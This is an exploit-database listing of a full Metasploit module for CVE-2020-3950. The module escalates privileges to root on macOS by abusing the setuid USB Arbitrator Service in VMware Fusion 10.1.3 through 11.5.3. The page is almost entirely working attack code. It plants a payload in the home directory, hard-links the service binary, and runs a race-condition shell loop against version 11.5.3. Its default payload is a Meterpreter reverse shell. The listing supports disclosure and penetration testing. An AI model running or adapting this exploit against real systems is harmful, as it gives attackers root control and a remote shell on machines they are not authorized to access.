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VMware Fusion USB Arbitrator Setuid Privilege Escalation Exploit

2020-04-03T00:00:00
ID 1337DAY-ID-34186
Type zdt
Reporter metasploit
Modified 2020-04-03T00:00:00

Description

This Metasploit module exploits an improper use of setuid binaries within VMware Fusion versions 10.1.3 through 11.5.3. The Open VMware USB Arbitrator Service can be launched outside of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the Open VMware USB Arbitrator Service binary, we are able to launch it temporarily to start our payload with an effective UID of 0.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::OSX::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
        'Description'    => %q(
          This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
          The Open VMware USB Arbitrator Service can be launched outide of its standard path
          which allows loading of an attacker controlled binary.  By creating a payload in the
          user home directory in a specific folder, and creating a hard link to the 'Open VMware
          USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
          with an effective UID of 0.
          @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
          Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die', # msf module
            'Dhanesh Kizhakkinan', # discovery
            'Rich Mirch', # edb module
            'jeffball <[email protected]>', # 11.5.3 exploit
            'grimm'
          ],
        'Platform'       => [ 'osx' ],
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        => [[ 'Auto', {} ]],
        'Privileged'     => true,
        'References'     =>
          [
            [ 'CVE', '2020-3950' ],
            [ 'EDB', '48235' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
            [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
            [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
          ],
        'DisclosureDate' => 'Mar 17 2020',
        'DefaultOptions' =>
          {
            'PAYLOAD'    => 'osx/x64/meterpreter_reverse_tcp',
            'WfsDelay'   => 15
          }
      )
    )

    register_options [
      OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  def open_usb_service
    'Open VMware USB Arbitrator Service'
  end

  def usb_service
    'VMware USB Arbitrator Service'
  end

  def get_home_dir
    home = cmd_exec 'echo ~'
    if home.blank?
      fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
    end
    home
  end

  def content_dir
    "#{get_home_dir}/Contents"
  end

  def base_dir
    "#{content_dir}/Library/services/"
  end

  def kill_process(executable)
    pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
    cmd_exec pid_kill
  end

  def get_version
    # Thanks to @ddouhine on github for this answer!
    version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
    /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
    if version_raw.blank?
      fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version.  Set ForceExploit to override.'
    end
    Gem::Version.new(version)
  end

  def pre_11_5_3
    # Upload payload executable & chmod
    payload_filename = "#{base_dir}#{usb_service}"
    print_status "Uploading Payload: #{payload_filename}"
    write_file payload_filename, generate_payload_exe
    chmod payload_filename, 0o755
    register_file_for_cleanup payload_filename

    # create folder structure and hard link to the original binary
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
    print_status "Created folder (#{link_folder}) and link"

    print_status 'Starting USB Service (5 sec pause)'
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
    Rex.sleep 5 # give time for the service to execute our payload
    print_status 'Killing service'
    cmd_exec "pkill '#{open_usb_service}'"
    print_status "Deleting #{root_link_folder}"
    rm_rf root_link_folder
  end

  def exactly_11_5_3
    # Upload payload executable & chmod
    payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    print_status "Uploading Payload to #{payload_name}"
    write_file payload_name, generate_payload_exe
    chmod payload_name, 0o755
    #create race with codesign check
    root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
    link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
    print_status 'Uploading race condition executable.'
    race = <<~EOF
      #!/bin/sh
      while [ "1" = "1" ]; do
          ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
          ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
      done
    EOF
    racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx racer_name, race
    register_file_for_cleanup racer_name
    register_dirs_for_cleanup root_link_folder
    # create the hard link
    print_status "Creating folder (#{link_folder}) and link"
    cmd_exec "mkdir -p #{link_folder}"
    cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"

    # create the launcher to start the racer and keep launching our service to attempt to win
    launcher = <<~EOF
      #!/bin/sh
      #{racer_name} &
      for i in {1..#{datastore['MAXATTEMPTS']}}
      do
          echo "attempt $i";
          '#{link_folder}#{open_usb_service}'
      done
    EOF
    runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx runner_name, launcher
    register_file_for_cleanup runner_name

    print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
    # XXX: The ; used by cmd_exec will interfere with &, so pad it with :
    results = cmd_exec "#{runner_name} & :"
    Rex.sleep 15 # give time for the service to execute our payload
    vprint_status results

    print_status 'Exploit Finished, killing scripts.'
    kill_process racer_name
    kill_process runner_name # in theory should be killed already but just in case
    kill_process "'#{link_folder}#{open_usb_service}'"
    # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
    # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
    # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
  end

  def check
    unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
      print_bad "'#{open_usb_service}' binary missing"
      return CheckCode::Safe
    end
    version = get_version
    if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
      vprint_good "Vmware Fusion #{version} is exploitable"
    else
      print_bad "VMware Fusion #{version} is NOT exploitable"
      return CheckCode::Safe
    end
    CheckCode::Appears
  end

  def exploit
    # First check the system is vulnerable, or the user wants to run regardless
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    # Check if we're already root
    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
      end
    end

    # Make sure we can write our payload to the remote system
    rm_rf content_dir # live dangerously.
    if directory? content_dir
      fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically.  Please delete or exploit will fail."
    end
    cmd_exec "mkdir -p #{base_dir}"
    register_dirs_for_cleanup content_dir
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable."
    end

    version = get_version
    if version == Gem::Version.new('11.5.3')
      vprint_status 'Using 11.5.3 exploit'
      exactly_11_5_3
    elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
      vprint_status 'Using pre-11.5.3 exploit'
      pre_11_5_3
    end
    rm_rf content_dir # live dangerously.
  end
end
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